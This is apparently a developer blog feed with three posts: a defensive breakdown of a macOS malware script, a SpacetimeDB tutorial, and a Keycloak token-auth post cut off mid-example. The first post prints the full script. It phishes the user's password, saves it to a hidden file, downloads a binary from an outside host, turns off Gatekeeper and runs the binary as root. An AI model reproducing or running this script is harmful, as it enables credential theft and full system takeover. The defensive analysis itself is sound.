Sugavanesh Murugesan aka: sugan0tech
2026-01-14T17:19:46+00:00
https://sugan.dev
Sugavanesh Murugesan
[email protected]
Anatomy of a macOS Attack: Deconstructing a Malicious Shell Script
2025-07-20T00:00:00+00:00
https://sugan.dev/2025/07/20/deconstructing-modern-malacious-script
<h2 id="introduction">Introduction</h2>
<p>As DevOps and backend engineers, we live in the terminal. We use <code class="language-plaintext highlighter-rouge">curl</code>, run installation scripts, and automate tasks with a level of trust in our tools. But this familiarity can lead to complacency. I recently came across a malicious script that serves as a chilling reminder of how easily that trust can be exploited to achieve total system compromise.</p>
<p>This script isn’t just a proof-of-concept; it’s a well-crafted piece of malware designed to trick a technical user into handing over their password and giving an attacker full root access. Let’s break it down line-by-line.</p>
<h2 id="the-full-malicious-script">The Full Malicious Script</h2>
<p>Here is the complete script captured from the attack. At first glance, some parts might look like a standard, albeit poorly written, installer. But the devil is in the details.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nv">BASE_URL</span><span class="o">=</span><span class="s2">"[https://wireshield.pro](https://wireshield.pro)"</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> ~/.autologin
<span class="nb">echo</span> <span class="s2">"Please enter your password to continue installation"</span>
<span class="nv">CORRECT_PASS</span><span class="o">=</span><span class="s2">""</span>
<span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Password:"</span>
<span class="nb">read</span> <span class="nt">-s</span> USER_PASSWORD
<span class="nb">echo
</span>dscl /Local/Default <span class="nt">-authonly</span> <span class="k">${</span><span class="nv">SUDO_USER</span><span class="k">:-${</span><span class="nv">USER</span><span class="k">}}</span> <span class="nv">$USER_PASSWORD</span> <span class="o">></span> /dev/null 2>&1
<span class="k">if</span> <span class="o">[[</span> <span class="nv">$?</span> <span class="nt">-eq</span> 0 <span class="o">]]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$USER_PASSWORD</span><span class="s2">"</span> <span class="o">></span> ~/.autologin/pass.txt
<span class="nv">CORRECT_PASS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$USER_PASSWORD</span><span class="s2">"</span>
<span class="nb">break
</span><span class="k">else
</span><span class="nb">echo</span> <span class="s2">"Sorry, try again."</span>
<span class="k">fi
done
</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$CORRECT_PASS</span><span class="s2">"</span> | <span class="nb">sudo</span> <span class="nt">-S</span> <span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">arch</span><span class="o">=</span><span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>
<span class="k">if</span> <span class="o">[[</span> <span class="nv">$arch</span> <span class="o">==</span> <span class="s2">"x86_64"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">URL</span><span class="o">=</span><span class="s2">"</span><span class="nv">$BASE_URL</span><span class="s2">/x64"</span>
<span class="k">elif</span> <span class="o">[[</span> <span class="nv">$arch</span> <span class="o">==</span> <span class="s2">"arm64"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">URL</span><span class="o">=</span><span class="s2">"</span><span class="nv">$BASE_URL</span><span class="s2">/arm64"</span>
<span class="k">else
</span><span class="nb">echo</span> <span class="s2">"Unknown architecture: </span><span class="nv">$arch</span><span class="s2">"</span>
<span class="nb">exit </span>1
<span class="k">fi
</span><span class="nv">FILE</span><span class="o">=</span><span class="si">$(</span><span class="nb">basename</span> <span class="s2">"</span><span class="nv">$URL</span><span class="s2">"</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"Downloading </span><span class="nv">$FILE</span><span class="s2"> from </span><span class="nv">$URL</span><span class="s2">..."</span>
curl <span class="nt">-O</span> <span class="s2">"</span><span class="nv">$URL</span><span class="s2">"</span>
<span class="k">if</span> <span class="o">[</span> <span class="nv">$?</span> <span class="nt">-ne</span> 0 <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">echo</span> <span class="s2">"Error downloading the file."</span>
<span class="nb">exit </span>1
<span class="k">fi
</span><span class="nb">sudo </span>spctl <span class="nt">--master-disable</span>
<span class="nb">echo</span> <span class="s2">"Running the application..."</span>
<span class="nb">chmod</span> +x <span class="s2">"</span><span class="nv">$FILE</span><span class="s2">"</span>
<span class="nb">sudo </span>open <span class="s2">"</span><span class="nv">$FILE</span><span class="s2">"</span>
<span class="nb">sudo </span>spctl <span class="nt">--master-enable</span>
</code></pre></div></div>
<hr />
<h2 id="step-by-step-breakdown">Step-by-Step Breakdown</h2>
<p>Let’s dissect what this script is actually doing.</p>
<h3 id="1-the-setup-creating-a-hiding-spot">1. The Setup: Creating a Hiding Spot</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">BASE_URL</span><span class="o">=</span><span class="s2">"[https://wireshield.pro](https://wireshield.pro)"</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> ~/.autologin
</code></pre></div></div>
<p>The script starts by defining its command and control (C2) server. Then, it immediately creates a <strong>hidden directory</strong> (<code class="language-plaintext highlighter-rouge">.autologin</code>) in the user’s home folder. Using a <code class="language-plaintext highlighter-rouge">.</code> prefix hides it from a standard <code class="language-plaintext highlighter-rouge">ls</code> command, making it a perfect place to stash stolen data.</p>
<h3 id="2-the-lure-the-password-prompt">2. The Lure: The Password Prompt</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Password:"</span>
<span class="nb">read</span> <span class="nt">-s</span> USER_PASSWORD
...
<span class="k">done</span>
</code></pre></div></div>
<p>This is pure <strong>social engineering</strong>. The script mimics a legitimate installer asking for administrative rights. The <code class="language-plaintext highlighter-rouge">read -s</code> command ensures the password isn’t echoed to the terminal, adding to the illusion of a secure process.</p>
<h3 id="3-the-trick-local-password-validation">3. The Trick: Local Password Validation</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dscl /Local/Default <span class="nt">-authonly</span> <span class="k">${</span><span class="nv">SUDO_USER</span><span class="k">:-${</span><span class="nv">USER</span><span class="k">}}</span> <span class="nv">$USER_PASSWORD</span> <span class="o">></span> /dev/null 2>&1
<span class="k">if</span> <span class="o">[[</span> <span class="nv">$?</span> <span class="nt">-eq</span> 0 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
...
</code></pre></div></div>
<p>This is the most clever part of the script. It uses <code class="language-plaintext highlighter-rouge">dscl</code>, the native macOS Directory Service command-line utility, to <strong>check if the password is correct</strong>. The <code class="language-plaintext highlighter-rouge">-authonly</code> flag does this without actually logging in or changing users. Because it’s a legitimate system tool, it doesn’t raise suspicion. The script then checks the exit code (<code class="language-plaintext highlighter-rouge">$?</code>). A <code class="language-plaintext highlighter-rouge">0</code> means success—the user entered the correct password.</p>
<h3 id="4-the-theft-capturing-the-credentials">4. The Theft: Capturing the Credentials</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$USER_PASSWORD</span><span class="s2">"</span> <span class="o">></span> ~/.autologin/pass.txt
<span class="nb">break</span>
</code></pre></div></div>
<p>This is the moment the attack succeeds. Once the password is validated, the script <strong>writes it in plain text</strong> into the <code class="language-plaintext highlighter-rouge">pass.txt</code> file inside the hidden directory it created earlier. It now has the user’s password.</p>
<h3 id="5-the-payload-escalation-and-execution">5. The Payload: Escalation and Execution</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Determine architecture (x86_64 or arm64) and download the binary</span>
<span class="nv">URL</span><span class="o">=</span><span class="s2">"</span><span class="nv">$BASE_URL</span><span class="s2">/x64"</span> <span class="c"># or /arm64</span>
curl <span class="nt">-O</span> <span class="s2">"</span><span class="nv">$URL</span><span class="s2">"</span>
<span class="c"># Disable Gatekeeper to run unverified apps</span>
<span class="nb">sudo </span>spctl <span class="nt">--master-disable</span>
<span class="c"># Make the binary executable and run it with root privileges</span>
<span class="nb">chmod</span> +x <span class="s2">"</span><span class="nv">$FILE</span><span class="s2">"</span>
<span class="nb">sudo </span>open <span class="s2">"</span><span class="nv">$FILE</span><span class="s2">"</span>
<span class="c"># Re-enable Gatekeeper to cover its tracks</span>
<span class="nb">sudo </span>spctl <span class="nt">--master-enable</span>
</code></pre></div></div>
<p>With the password captured, the script proceeds to:</p>
<ol>
<li>Determine the Mac’s architecture (<code class="language-plaintext highlighter-rouge">uname -m</code>).</li>
<li>Download a malicious binary (<code class="language-plaintext highlighter-rouge">x64</code> or <code class="language-plaintext highlighter-rouge">arm64</code>) from the C2 server.</li>
<li><strong>Disable Gatekeeper</strong> (<code class="language-plaintext highlighter-rouge">spctl --master-disable</code>), macOS’s core security feature that prevents unverified apps from running.</li>
<li><strong>Run the malicious binary with <code class="language-plaintext highlighter-rouge">sudo</code></strong>, giving the attacker full root control.</li>
<li>Finally, it re-enables Gatekeeper to hide the fact that system security settings were ever changed.</li>
</ol>
<hr />
<h2 id="key-takeaways-for-developers">Key Takeaways for Developers</h2>
<p>This script is a masterclass in exploiting trust and using a system’s own tools against it.</p>
<ul>
<li><strong>Never blindly trust an installer script.</strong> The convenience of <code class="language-plaintext highlighter-rouge">curl | sh</code> is not worth the risk of total system compromise.</li>
<li><strong>Download and read first.</strong> Always download a script to a local file and read every line before executing it. If you had read this one, the <code class="language-plaintext highlighter-rouge">echo "$USER_PASSWORD" > ...</code> line would have been a massive red flag.</li>
<li><strong>Question every password prompt.</strong> A script asking for your main user password should be treated with extreme suspicion.</li>
<li><strong>Monitor your system.</strong> Tools like <code class="language-plaintext highlighter-rouge">Little Snitch</code> can alert you to unexpected outgoing network connections, which could have flagged the download of the <code class="language-plaintext highlighter-rouge">x64</code> binary.</li>
</ul>
<h2 id="references--further-reading">References & Further Reading</h2>
<ul>
<li>This analysis is based on the incident bravely shared by a security professional. The original video detailing the attack can be found here: <a href="https://www.youtube.com/watch?v=Y1BopTNVoZE">I got hacked</a>.</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>This attack highlights a critical vulnerability that isn’t in the code, but in human behavior. As engineers, our comfort with the command line is an asset, but it can be turned against us. Stay skeptical, stay vigilant, and <strong>always read the code</strong>.</p>
SpacetimeDB - A New Paradigm for Backend Development
2025-04-17T00:00:00+00:00
https://sugan.dev/2025/04/17/spacetimedb-a-new-paradigm-for-backend
<h2 id="introduction">Introduction</h2>
<p>SpacetimeDB rethinks how we build backend systems by making the database the execution engine itself. Designed with real-time applications and games in mind, it eliminates the network boundary between backend and storage.</p>
<h2 id="what-it-brings-new-to-the-table">What It Brings New to the Table</h2>
<ul>
<li><strong>Module-based performance boost</strong>: Native module support written in languages like C# and compiled to WASM gives ultra-low latency.</li>
<li><strong>Better SDK structure</strong>: Clean abstraction and binding generation simplify integration.</li>
<li><strong>Distributed sync</strong>: Built-in peer-to-peer synchronization of data across distributed nodes, unlike traditional client-server models.</li>
</ul>
<h2 id="purpose-of-spacetimedb">Purpose of SpacetimeDB</h2>
<p>SpacetimeDB aims to be a <strong>drop-in backend replacement for game developers</strong> and real-time apps. It’s also excellent for rapid prototyping of scalable, high-performance systems.</p>
<h2 id="getting-started-with-development">Getting Started with Development</h2>
<h3 id="basics--initialization">Basics & Initialization</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Initialize your module in C#</span>
spacetime init spacetime-modules <span class="nt">--lang</span> csharp
spacetime build
<span class="c"># Publish your module</span>
spacetime publish <span class="nt">--project-path</span> server unichat
</code></pre></div></div>
<h3 id="setting-up-client-react--ts">Setting up Client (React + TS)</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm create vite@latest unichat-client <span class="nt">--</span> <span class="nt">--template</span> react-ts
<span class="nb">cd </span>unichat-client
npm <span class="nb">install
</span>npm run dev
</code></pre></div></div>
<h3 id="add-dependencies">Add dependencies</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>npm <span class="nb">install </span>react-router-dom@latest
npm <span class="nb">install</span> @clockworklabs/spacetimedb-sdk
npm <span class="nb">install </span>react-oidc-context oidc-client-ts
npm <span class="nb">install</span> @auth0/auth0-react
</code></pre></div></div>
<h3 id="generate-ts-bindings">Generate TS Bindings</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>spacetime generate <span class="nt">--lang</span> typescript <span class="nt">--out-dir</span> src/module_bindings <span class="nt">--project-path</span> ../spacetime-modules
</code></pre></div></div>
<h3 id="sample-c-reducer-example">Sample C# Reducer Example</h3>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">Spacetime</span><span class="p">;</span>
<span class="p">[</span><span class="n">SpacetimeModule</span><span class="p">]</span>
<span class="k">public</span> <span class="k">partial</span> <span class="k">class</span> <span class="nc">ChatModule</span> <span class="p">:</span> <span class="n">SpacetimeModule</span>
<span class="p">{</span>
<span class="p">[</span><span class="n">Reducer</span><span class="p">]</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">SendMessage</span><span class="p">(</span>
<span class="n">Context</span> <span class="n">ctx</span><span class="p">,</span>
<span class="kt">string</span> <span class="n">message</span><span class="p">,</span>
<span class="kt">string</span> <span class="n">roomId</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">var</span> <span class="n">chatRoom</span> <span class="p">=</span> <span class="n">ChatRoom</span><span class="p">.</span><span class="nf">FirstOrDefault</span><span class="p">(</span><span class="n">r</span> <span class="p">=></span> <span class="n">r</span><span class="p">.</span><span class="n">Id</span> <span class="p">==</span> <span class="n">roomId</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">chatRoom</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">SpacetimeException</span><span class="p">(</span><span class="s">"Room not found"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">var</span> <span class="n">newMessage</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Message</span>
<span class="p">{</span>
<span class="n">Sender</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Identity</span><span class="p">.</span><span class="n">Id</span><span class="p">,</span>
<span class="n">Content</span> <span class="p">=</span> <span class="n">message</span><span class="p">,</span>
<span class="n">Timestamp</span> <span class="p">=</span> <span class="n">SystemTime</span><span class="p">.</span><span class="nf">Now</span><span class="p">()</span>
<span class="p">};</span>
<span class="n">chatRoom</span><span class="p">.</span><span class="n">Messages</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">newMessage</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="modules-vs-sdk-performance">Modules vs SDK Performance</h2>
<p>Modules (WASM compiled logic) perform significantly better than pure SDK usage. For performance-critical systems, modules are the way to go.</p>
<h2 id="fullstack-auth-flow-with-spacetimedb-and-auth0">Fullstack Auth Flow with SpacetimeDB and Auth0</h2>
<h3 id="ucac-user-centric-access-control">UCAC (User Centric Access Control)</h3>
<p>Introduces fine-grained, user-scoped control for row-level operations.</p>
<h3 id="rbac-for-admins">RBAC for Admins</h3>
<p>Global-level control using Role Based Access Control and policies.</p>
<h2 id="internal-architecture">Internal Architecture</h2>
<p>Includes a WASM execution layer that runs reducer logic inside the DB engine itself, providing secure, high-perf execution.</p>
<h2 id="wasm-layer-benefits">WASM Layer Benefits</h2>
<ul>
<li>Fast, safe execution</li>
<li>Language-agnostic module support</li>
<li>Sandboxed logic tightly coupled with DB state</li>
</ul>
<h2 id="comparison-with-traditional-backends">Comparison with Traditional Backends</h2>
<ul>
<li>Removes need for external app + DB communication</li>
<li>Lower latency</li>
<li>Native replication and sync</li>
<li>Less glue code and deployment complexity</li>
</ul>
<h2 id="devx-developer-experience">DevX (Developer Experience)</h2>
<p>SpacetimeDB’s DX rivals modern backend frameworks, but with built-in real-time sync and persistence.</p>
<h2 id="performance-and-architecture-thoughts">Performance and Architecture Thoughts</h2>
<p>While performance is key, it’s more about <strong>removing bottlenecks</strong> like network I/O and reducing SPOFs (Single Points of Failure).</p>
<h2 id="things-i-miss-or-wish-for">Things I Miss or Wish For</h2>
<ul>
<li>Scaling is DB-style, not traditional backend-style</li>
<li>Could benefit from an engine model like <strong>TigerBeetleDB</strong> for multi-node WASM exec</li>
</ul>
<h2 id="struggles-encountered">Struggles Encountered</h2>
<h3 id="auth0-integration-issue">Auth0 Integration Issue</h3>
<p>While building <a href="https://github.com/sugan0tech/unichat">Unichat</a>, a real-time chat application using SpacetimeDB, I integrated Auth0 for authentication. Initially, SpacetimeDB couldn’t verify Auth0’s issued JWTs due to a failure in handling the provider’s <code class="language-plaintext highlighter-rouge">well-known</code> JWKS URL for public key discovery.</p>
<p>This caused the server to reject valid Auth0 tokens. As a workaround, I patched the <code class="language-plaintext highlighter-rouge">token_validation.rs</code> file locally. Fortunately, this issue was resolved officially in SpacetimeDB’s <strong>alpha build as of April 17, 2025</strong>.</p>
<p>Here’s a brief of how my app handles authentication:</p>
<h4 id="backend-reducers-c">Backend Reducers (C#)</h4>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="nf">Table</span><span class="p">(</span><span class="n">Name</span> <span class="p">=</span> <span class="s">"user"</span><span class="p">,</span> <span class="n">Public</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">partial</span> <span class="k">class</span> <span class="nc">User</span> <span class="p">{</span>
<span class="p">[</span><span class="n">PrimaryKey</span><span class="p">]</span> <span class="k">public</span> <span class="n">Identity</span> <span class="n">id</span><span class="p">;</span>
<span class="k">public</span> <span class="kt">string</span><span class="p">?</span> <span class="n">name</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">[</span><span class="nf">Table</span><span class="p">(</span><span class="n">Name</span> <span class="p">=</span> <span class="s">"message"</span><span class="p">,</span> <span class="n">Public</span> <span class="p">=</span> <span class="k">true</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">partial</span> <span class="k">class</span> <span class="nc">Message</span> <span class="p">{</span>
<span class="p">[</span><span class="n">PrimaryKey</span><span class="p">]</span> <span class="k">public</span> <span class="kt">ulong</span> <span class="n">id</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Identity</span> <span class="n">sender</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Identity</span> <span class="n">receiver</span><span class="p">;</span>
<span class="k">public</span> <span class="kt">string</span> <span class="n">content</span> <span class="p">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">public</span> <span class="n">Timestamp</span> <span class="n">timestamp</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">[</span><span class="n">Reducer</span><span class="p">]</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">RegisterUser</span><span class="p">(</span><span class="n">ReducerContext</span> <span class="n">ctx</span><span class="p">,</span> <span class="kt">string</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">var</span> <span class="n">user</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">user</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="nf">Find</span><span class="p">(</span><span class="n">ctx</span><span class="p">.</span><span class="n">Sender</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">user</span> <span class="k">is</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">user</span><span class="p">.</span><span class="nf">Insert</span><span class="p">(</span><span class="k">new</span> <span class="n">User</span> <span class="p">{</span> <span class="n">id</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Sender</span><span class="p">,</span> <span class="n">name</span> <span class="p">=</span> <span class="n">name</span> <span class="p">});</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">[</span><span class="n">Reducer</span><span class="p">]</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">SendMessage</span><span class="p">(</span><span class="n">ReducerContext</span> <span class="n">ctx</span><span class="p">,</span> <span class="n">Identity</span> <span class="n">to</span><span class="p">,</span> <span class="kt">string</span> <span class="n">content</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="nf">Insert</span><span class="p">(</span><span class="k">new</span> <span class="n">Message</span> <span class="p">{</span>
<span class="n">id</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">Count</span> <span class="p">+</span> <span class="m">1</span><span class="p">,</span>
<span class="n">sender</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Sender</span><span class="p">,</span>
<span class="n">receiver</span> <span class="p">=</span> <span class="n">to</span><span class="p">,</span>
<span class="n">content</span> <span class="p">=</span> <span class="n">content</span><span class="p">,</span>
<span class="n">timestamp</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Timestamp</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="p">[</span><span class="n">Reducer</span><span class="p">]</span>
<span class="k">public</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">SetName</span><span class="p">(</span><span class="n">ReducerContext</span> <span class="n">ctx</span><span class="p">,</span> <span class="kt">string</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
<span class="n">name</span> <span class="p">=</span> <span class="nf">ValidateName</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
<span class="kt">var</span> <span class="n">user</span> <span class="p">=</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">user</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="nf">Find</span><span class="p">(</span><span class="n">ctx</span><span class="p">.</span><span class="n">Sender</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">user</span> <span class="k">is</span> <span class="n">not</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span>
<span class="n">user</span><span class="p">.</span><span class="n">name</span> <span class="p">=</span> <span class="n">name</span><span class="p">;</span>
<span class="n">ctx</span><span class="p">.</span><span class="n">Db</span><span class="p">.</span><span class="n">user</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="nf">Update</span><span class="p">(</span><span class="n">user</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">ValidateName</span><span class="p">(</span><span class="kt">string</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">name</span><span class="p">))</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">Exception</span><span class="p">(</span><span class="s">"Names must not be empty"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">name</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h4 id="frontend-connection-react--ts">Frontend Connection (React + TS)</h4>
<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="nx">getAccessTokenSilently</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useAuth0</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">token</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">getAccessTokenSilently</span><span class="p">({</span>
<span class="na">authorizationParams</span><span class="p">:</span> <span class="p">{</span>
<span class="na">audience</span><span class="p">:</span> <span class="dl">'</span><span class="s1">https://your-auth-audience-url</span><span class="dl">'</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="k">await</span> <span class="nx">spacetimeService</span><span class="p">.</span><span class="nx">connectWithToken</span><span class="p">(</span><span class="nx">token</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">spacetimeService</span><span class="p">.</span><span class="nx">registerUser</span><span class="p">(</span><span class="dl">"</span><span class="s2">DefaultName</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>
<p>Now that the validation bug has been fixed upstream, integration with Auth0 works seamlessly out of the box.</p>
<h2 id="notes-on-future-adoption-and-stability">Notes on Future Adoption and Stability</h2>
<p>While SpacetimeDB is extremely promising, developers should be aware that the project is evolving rapidly and may introduce <strong>breaking API changes</strong> in upcoming releases. Especially as it moves toward production readiness, internal structures, SDK interfaces, and even WASM runtime behaviors may shift.</p>
<p>Despite its initial positioning for <strong>game development</strong>, SpacetimeDB has strong potential in <strong>niche, latency-sensitive backend use cases</strong> beyond gaming — such as collaborative editing, IoT coordination, real-time dashboards, or multiplayer educational platforms. Its unified DB+logic architecture can simplify traditionally complex system designs in these domains.</p>
<h2 id="references--further-reading">References & Further Reading</h2>
<ul>
<li>Official documentation: <a href="https://spacetimedb.com/docs">SpacetimeDB Docs</a></li>
<li>Blog: <a href="https://spacetimedb.com/blog/introducing-spacetimedb-1-0">Introducing SpacetimeDB 1.0</a></li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>SpacetimeDB represents a <strong>fundamental shift</strong>—a backend engine and database merged into one, removing traditional server‑DB boundaries. For backend engineers, this means writing and deploying business logic <strong>inside the database</strong> itself via WASM reducers, unlocking ultra‑low latency and greatly simplified operations.</p>
<p>While the platform is young and subject to change, any team building <strong>real‑time, stateful, distributed applications</strong> should absolutely explore it. With commercial adoption (e.g., BitCraft) and growing community support, SpacetimeDB is poised to reshape backend design—and I’m excited to see where it goes next.</p>
Modern Authentication - Deep Dive into Token-Based Auth with Keycloak
2025-02-28T00:00:00+00:00
https://sugan.dev/2025/02/28/better-auth-with-tokens-and-keycloak
<div class="message">
A comprehensive exploration of modern authentication systems using access and refresh tokens, with a focus on implementing robust auth flows with Keycloak.
</div>
<p>Authentication is the cornerstone of application security, yet it remains one of the most complex and commonly misunderstood aspects of modern systems. In this post, I’ll dive deep into token-based authentication, explore the access/refresh token pattern, and demonstrate how Keycloak simplifies these implementations.</p>
<h2 id="the-evolution-of-authentication">The Evolution of Authentication</h2>
<p>Authentication has evolved significantly over time:</p>
<blockquote>
<p>“Authentication mechanisms reflect the evolving balance between security needs and user experience requirements.”</p>
</blockquote>
<ul>
<li><strong>Password-based</strong>: Simple but vulnerable to numerous attack vectors</li>
<li><strong>Session-based</strong>: Server-side sessions with client cookies</li>
<li><strong>Token-based</strong>: Stateless authentication using cryptographically signed tokens</li>
<li><strong>Modern token-based</strong>: Combining short-lived access tokens with refresh tokens</li>
</ul>
<h2 id="understanding-the-jwt-token-architecture">Understanding the JWT Token Architecture</h2>
<p>Modern token-based authentication typically uses JSON Web Tokens (JWTs) in two distinct roles:</p>
<h3 id="access-tokens">Access Tokens</h3>
<p>Access tokens are short-lived credentials that:</p>
<ul>
<li>Contain encoded user identity and permissions (claims)</li>
<li>Are cryptographically signed to prevent tampering</li>
<li>Remain valid for a short period (typically 5-15 minutes)</li>
<li>Are presented with each API request</li>
</ul>
<p>An example decoded JWT access token:</p>
<figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w">
</span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"RS256"</span><span class="p">,</span><span class="w">
</span><span class="nl">"typ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"JWT"</span><span class="p">,</span><span class="w">
</span><span class="nl">"kid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sGu0-6lMk..."</span><span class="w">
</span><span class="p">}</span></code></pre></figure>
<p>Payload:</p>
<figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w">
</span><span class="nl">"exp"</span><span class="p">:</span><span class="w"> </span><span class="mi">1709136789</span><span class="p">,</span><span class="w">
</span><span class="nl">"iat"</span><span class="p">:</span><span class="w"> </span><span class="mi">1709136489</span><span class="p">,</span><span class="w">
</span><span class="nl">"jti"</span><span class="p">:</span><span class="w"> </span><span class="s2">"aa5f8315-4e4c-4ae6-9ae1-fc98b9979129"</span><span class="p">,</span><span class="w">
</span><span class="nl">"iss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://auth.example.com/realms/demo"</span><span class="p">,</span><span class="w">
</span><span class="nl">"aud"</span><span class="p">:</span><span class="w"> </span><span class="s2">"account"</span><span class="p">,</span><span class="w">
</span><span class="nl">"sub"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8fb4e5a0-3c4d-40ce-b1d5-3f89cacf9d24"</span><span class="p">,</span><span class="w">
</span><span class="nl">"typ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Bearer"</span><span class="p">,</span><span class="w">
</span><span class="nl">"azp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"frontend-client"</span><span class="p">,</span><span class="w">
</span><span class="nl">"session_state"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e70b1c18-c5ea-47b2-9e11-c6109d413515"</span><span class="p">,</span><span class="w">
</span><span class="nl">"acr"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"allowed-origins"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"https://app.example.com"</span><span class="p">],</span><span class="w">
